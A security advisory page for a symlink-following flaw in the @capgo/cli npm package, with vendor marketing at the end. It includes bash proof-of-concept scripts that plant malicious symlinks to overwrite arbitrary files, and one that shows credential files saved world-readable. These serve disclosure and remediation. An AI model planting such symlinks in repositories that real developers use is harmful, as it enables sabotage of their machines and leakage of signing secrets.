GHSA-8mpm-q7mh-8fvh — @capgo/cli
Fix: Cap-go/CLI@b8aa5ccGHSA-8mpm-q7mh-8fvh is a CWE-59 vulnerability in @capgo/cli. A fix is available for @capgo/cli — see the affected versions and patch details below.
Capgo CLI: symlink-following local secret writes enable arbitrary file overwrite + world-readable credentials (0600 missing)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-8mpm-q7mh-8fvh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@capgo/clinpmDescription
Summary
The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.
Details
Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)
- Location: src/login.ts
- Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
- No checks are performed to prevent writing through a symlink.
- Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.
Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)
- Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
- Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
- Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.
Issue 3 - Insecure default permissions for global credentials
- Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
- Observed permissions after save: -rw-rw-r-- (664)
- Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.
PoC
PoC A: .capgo symlink clobber (writes even when API key invalid)
set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo
# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true
echo "== TARGET content =="
cat "$TARGET"
Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.
PoC B: .capgo-credentials.json symlink clobber (no login required)
set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"
mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q
ln -s "$TARGET" .capgo-credentials.json
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--local --platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true
Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.
PoC C: global credentials permissions are world-readable
set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
--platform android --appId com.example.app \
--keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true
CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true
Observed: credentials.json created with mode 664 (-rw-rw-r--).
Impact
- Arbitrary file overwrite (clobber) as the user running the CLI (developer workstation / CI runner).
- This can cause:
developer environment compromise or sabotage (overwriting config files, scripts, env files) accidental or malicious leakage/destruction of secrets
- Local secret exposure: global credentials written as 664 allows other local users to read signing material on shared machines.
- A realistic scenario: a developer runs npx @capgo/cli ... --local inside an untrusted repo/template; the repo contains malicious symlinks.
Suggested remediation
- Do not write .capgo until after API key validation succeeds.
- For all secret/config writes:
refuse symlink destinations (lstat + isSymbolicLink) use safe file creation and enforce permissions (0600 for files; 0700 for directories) write atomically (temp file + rename) after safety checks
- Avoid blindly appending to .gitignore unless it is a regular file (also check for symlink).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @capgo/cli | all versions | 7.84.6npm install @capgo/cli@7.84.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @capgo/cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @capgo/cli to 7.84.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8mpm-q7mh-8fvh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-8mpm-q7mh-8fvh can be triaged on real exposure rather than presence alone.
Tailored to GHSA-8mpm-q7mh-8fvh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8mpm-q7mh-8fvh in your dependencies?
O3 Security finds GHSA-8mpm-q7mh-8fvh across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.